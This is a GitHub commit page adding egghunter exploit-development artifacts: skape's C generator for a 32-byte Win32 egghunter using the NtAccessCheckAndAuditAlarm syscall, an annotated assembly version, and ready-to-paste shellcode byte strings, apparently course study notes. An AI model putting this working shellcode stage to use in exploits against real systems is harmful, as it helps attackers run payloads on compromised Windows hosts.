Skip to content

Commit 5240c03

Browse files
committed
Restructure repo
1 parent 97aac3a commit 5240c03

File tree

3 files changed

+261
-0
lines changed

3 files changed

+261
-0
lines changed

artifacts/egghunter_dev/egghunt_sys.c

+184
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,184 @@
1+
/*
2+
* Optimized egghunt shellcode for win32 (32 bytes)
3+
*
4+
* Description
5+
*
6+
* This code works by abusing an NT syscall (NtAccessCheckAndAuditAlaram)
7+
* whereby it uses the kernel to validate whether or not a set of addresses
8+
* is valid, and, if it is, whether or not they match the 8 byte egg we're
9+
* searching for. The egg byte egg consists of 4 bytes of executable
10+
* assembly that will appear 2 times, once after the other. For instance,
11+
* the egg 0x50905090 would be used with the following assembly:
12+
*
13+
* nop
14+
* push eax
15+
* nop
16+
* push eax
17+
* nop
18+
* push eax
19+
* nop
20+
* push eax
21+
*
22+
* When the egg hunter searches for 0x50905090 it will eventually
23+
* match with the above assembly and jump to it, starting at the
24+
* first nop.
25+
*
26+
* The use of NtAccessCheckAndAuditAlarm may have problems if the thread
27+
* is using an impersonation token. However, this is the most portable
28+
* system call number to use.
29+
*
30+
* Targets
31+
*
32+
* NT/2K/XP/2K3
33+
*
34+
* Usage
35+
*
36+
* $ egghunt.exe
37+
* Usage: egghunt.exe [test | cstyle] [4 byte hex egg] ==> egghunter.exe cstyle 0x57303054
38+
*
39+
* To generate usable code (with an egg of 42 41 42 41):
40+
*
41+
* $ egghunt.exe cstyle 0x41424142
42+
*
43+
* To test the code:
44+
*
45+
* $ egghunt.exe test
46+
*
47+
* Features/Quirks
48+
*
49+
* * No NULLs.
50+
*
51+
* Disclaimer
52+
*
53+
* The author cannot be held responsible for how this code is used.
54+
*
55+
* Compile
56+
*
57+
* cl egghunt.c /link /debug
58+
*
59+
* Credits
60+
*
61+
* Props go out to spoonm, optyx, trew, and johnycsh for optimization
62+
* tips 'n tricks over the course of this shtuff.
63+
*
64+
* skape
65+
66+
*/
67+
#include <stdio.h>
68+
69+
#define EGG_OFFSET 18
70+
#define SET_EGG(sc, egg) *(unsigned long *)((sc) + EGG_OFFSET) = (egg)
71+
72+
void __declspec(naked) egghunt_begin()
73+
{
74+
__asm
75+
{
76+
entry:
77+
// You could put an xor edx, edx here to make the search somewhat
78+
// quicker, but given page aligned searching, it really isn't that bad
79+
// to omit it, and it saves two bytes.
80+
loop_inc_page:
81+
or dx, 0x0fff // Add PAGE_SIZE-1 to edx
82+
loop_inc_one:
83+
inc edx // Increment our pointer by one
84+
loop_check:
85+
push edx // Save edx
86+
push 0x2 // Push NtAccessCheckAndAuditAlarm
87+
pop eax // Pop into eax
88+
int 0x2e // Perform the syscall
89+
cmp al, 0x05 // Did we get 0xc0000005 (ACCESS_VIOLATION) ?
90+
pop edx // Restore edx
91+
loop_check_8_valid:
92+
je loop_inc_page // Yes, invalid ptr, go to the next page
93+
94+
is_egg:
95+
mov eax, 0x50905090 // Throw our egg in eax
96+
mov edi, edx // Set edi to the pointer we validated
97+
scasd // Compare the dword in edi to eax
98+
jnz loop_inc_one // No match? Increment the pointer by one
99+
scasd // Compare the dword in edi to eax again (which is now edx + 4)
100+
jnz loop_inc_one // No match? Increment the pointer by one
101+
102+
matched:
103+
jmp edi // Found the egg. Jump 8 bytes past it into our code.
104+
}
105+
}
106+
107+
void __declspec(naked) egghunt_end()
108+
{
109+
// These first 8 bytes make up our egg
110+
__asm
111+
{
112+
nop
113+
push eax
114+
nop
115+
push eax
116+
nop
117+
push eax
118+
nop
119+
push eax
120+
}
121+
122+
printf("Egg has been found.\n");
123+
124+
exit(0);
125+
}
126+
127+
void __declspec(naked) egghunt_end_end()
128+
{
129+
__asm ret
130+
}
131+
132+
int main(int argc, char **argv)
133+
{
134+
if (argc == 1)
135+
{
136+
fprintf(stdout, "Usage: %s [test | cstyle] [4 byte egg hex (eg: 0x41424142)]\n", argv[0]);
137+
return 0;
138+
}
139+
140+
if (!strcmp(argv[1], "test"))
141+
egghunt_begin();
142+
else if (!strcmp(argv[1], "cstyle"))
143+
{
144+
unsigned char *start = (unsigned char *)((unsigned char *)egghunt_begin);
145+
unsigned char *stop = (unsigned char *)((unsigned char *)egghunt_end);
146+
unsigned char *copy = NULL;
147+
unsigned char *c = NULL;
148+
unsigned long x = 0, length, y = 0, egg = 0x50905090;
149+
150+
// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
151+
start += *(unsigned long *)((unsigned char *)egghunt_begin + 1) + 5;
152+
stop += *(unsigned long *)((unsigned char *)egghunt_end + 1) + 5;
153+
length = stop - start;
154+
155+
if (!(copy = (unsigned char *)malloc(length)))
156+
{
157+
printf("allocation failed\n");
158+
return 0;
159+
}
160+
161+
memcpy(copy, start, length);
162+
163+
if (argc >= 3)
164+
egg = strtoul(argv[2], NULL, 16);
165+
166+
SET_EGG(copy, egg);
167+
168+
fprintf(stdout, "// %lu byte egghunt shellcode (egg=0x%.8x)\n\n", length, egg);
169+
fprintf(stdout, "unsigned char egghunt[] = \"");
170+
171+
for (x = 0;
172+
x < length;
173+
x++)
174+
fprintf(stdout, "\\x%2.2x", copy[x]);
175+
176+
fprintf(stdout, "\";\n\n");
177+
178+
free(copy);
179+
}
180+
else
181+
fprintf(stdout, "%s: invalid option\n", argv[0]);
182+
183+
return 1;
184+
}

artifacts/egghunter_dev/egghunter.asm

+53
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
;egghunter.asm
2+
3+
[BITS 32]
4+
[SECTION .text]
5+
6+
global _start
7+
8+
_start:
9+
10+
loop_inc_page:
11+
; Go to last address in page n (this could also be used to XOR EDX and set the counter to 00000000)
12+
or dx, 0x0fff
13+
14+
loop_inc_one:
15+
; Go to first address in page n+1
16+
inc edx
17+
18+
loop_check:
19+
; save edx which holds our current memory location
20+
push edx
21+
; initialize the call to NtAccessCheckAndAuditAlarm
22+
push 0x2
23+
pop eax
24+
; perform the system call
25+
int 0x2e
26+
; check for access violation, 0xc0000005 (ACCESS_VIOLATION)
27+
cmp al,05
28+
; restore edx to check later the content of pointed address
29+
pop edx
30+
31+
loop_check_8_valid:
32+
; if access violation encountered, go to next page
33+
je loop_inc_page
34+
35+
is_egg:
36+
; load egg (W00T in this example)
37+
mov eax, 0x54303057
38+
; initializes pointer with current checked address
39+
mov edi, edx
40+
; Compare eax with doubleword at edi and set status flags
41+
scasd
42+
43+
; No match, we will increase our memory counter by one
44+
jnz loop_inc_one
45+
; first part of the egg detected, check for the second part
46+
scasd
47+
; No match, we found just a location with half an egg
48+
jnz loop_inc_one
49+
50+
matched:
51+
; edi points to the first byte of our 3rd stage code, let's go!
52+
jmp edi
53+
+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
# EGG SIGNATURE: T00WT00W
2+
3+
[+] Raw: can be used in the mona
4+
6681caff0f42526a0258cd2e3c055a74efb8543030578bfaaf75eaaf75e7ffe7
5+
6+
[+] CTP Binary
7+
66 81 ca ff 0f 42 52 6a 02 58 cd 2e 3c 05 5a 74 ef b8 54 30 30 57 8b fa af 75 ea af 75 e7 ff e7
8+
9+
[+] CTP python version
10+
"\x66\x81\xca\xff"
11+
"\x0f\x42\x52\x6a"
12+
"\x02\x58\xcd\x2e"
13+
"\x3c\x05\x5a\x74"
14+
"\xef\xb8\x54\x30"
15+
"\x30\x57\x8b\xfa"
16+
"\xaf\x75\xea\xaf"
17+
"\x75\xe7\xff\xe7"
18+
19+
CTP version:
20+
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
21+
22+
23+
24+

0 commit comments

Comments
 (0)